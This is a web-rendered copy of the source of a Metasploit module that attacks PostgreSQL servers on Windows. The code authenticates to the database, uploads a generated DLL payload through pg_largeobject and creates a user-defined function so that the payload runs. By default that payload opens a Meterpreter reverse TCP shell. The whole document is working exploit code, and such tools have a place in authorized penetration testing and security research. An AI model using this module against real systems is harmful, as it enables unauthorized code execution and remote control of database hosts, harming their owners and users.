Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/postgres/postgres_payload.rb
19511 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Postgres
10
include Msf::Auxiliary::Report
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
include Msf::OptionalSession::PostgreSQL
14
15
# Creates an instance of this module.
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'PostgreSQL for Microsoft Windows Payload Execution',
21
'Description' => %q{
22
On default Microsoft Windows installations of PostgreSQL the postgres
23
service account may write to the current directory (which is usually
24
"C:\Program Files\PostgreSQL\<version>\data" where <version> is the
25
major.minor version of PostgreSQL). UDF DLL's may be sourced from
26
there as well.
27
28
This module uploads a Windows DLL file via the pg_largeobject method
29
of binary injection and creates a UDF (user defined function) from
30
that DLL. Because the payload is run from DllMain, it does not need to
31
conform to specific Postgres API versions.
32
},
33
'Author' => [
34
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries
35
'todb' # this Metasploit module
36
],
37
'License' => MSF_LICENSE,
38
'References' => [
39
[ 'URL', 'https://web.archive.org/web/20100803002909/http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL
40
],
41
'Platform' => 'win',
42
'Targets' => [
43
[
44
'Windows x86',
45
{
46
'Arch' => ARCH_X86,
47
'DefaultOptions' => {
48
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
49
}
50
}
51
],
52
[
53
'Windows x64',
54
{
55
'Arch' => ARCH_X64,
56
'DefaultOptions' => {
57
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
58
}
59
}
60
],
61
],
62
'DefaultTarget' => 0,
63
'DisclosureDate' => '2009-04-10',
64
'Notes' => {
65
'Reliability' => UNKNOWN_RELIABILITY,
66
'Stability' => UNKNOWN_STABILITY,
67
'SideEffects' => UNKNOWN_SIDE_EFFECTS
68
}
69
) # Date of Bernardo's BH Europe paper.
70
)
71
72
deregister_options('SQL', 'RETURN_ROWSET')
73
end
74
75
def check
76
version = postgres_fingerprint
77
78
if version[:auth]
79
print_good "Authentication successful. Version: #{version}"
80
return CheckCode::Appears # WRITE permission needs to be proven to get CheckCode::Vulnerable
81
else
82
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
83
return CheckCode::Safe
84
end
85
end
86
87
def exploit
88
self.postgres_conn = session.client if session
89
version = do_login(username, password, database)
90
case version
91
when :noauth; print_error "Authentication failed"; return
92
when :noconn; print_error "Connection failed"; return
93
else
94
print_status("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{version}")
95
end
96
97
fname = "#{Rex::Text.rand_text_alpha(8)}.dll"
98
register_files_for_cleanup(fname)
99
100
unless postgres_upload_binary_data(generate_payload_dll, fname)
101
print_error "Could not upload the UDF DLL"
102
return
103
end
104
105
print_status "Uploaded as #{fname}"
106
begin
107
func_name = Rex::Text.rand_text_alpha(10)
108
postgres_query(
109
"create or replace function pg_temp.#{func_name}()" +
110
" returns void as '#{fname}','#{func_name}'" +
111
" language c strict immutable"
112
)
113
rescue RuntimeError => e
114
print_error "Failed to create UDF function: #{e.class}: #{e}"
115
end
116
postgres_logout if @postgres_conn && session.blank?
117
end
118
119
# Authenticate to the postgres server.
120
#
121
# Returns the version from #postgres_fingerprint
122
def do_login(user = nil, pass = nil, database = nil)
123
begin
124
password = pass || postgres_password
125
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn
126
result = postgres_fingerprint(
127
:db => database,
128
:username => user,
129
:password => password
130
)
131
if result[:auth]
132
report_service(
133
:host => postgres_conn.peerhost,
134
:port => postgres_conn.peerport,
135
:name => "postgres",
136
:info => result.values.first
137
)
138
return result[:auth]
139
else
140
print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
141
return :noauth
142
end
143
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
144
return :noconn
145
end
146
end
147
148
end
149
150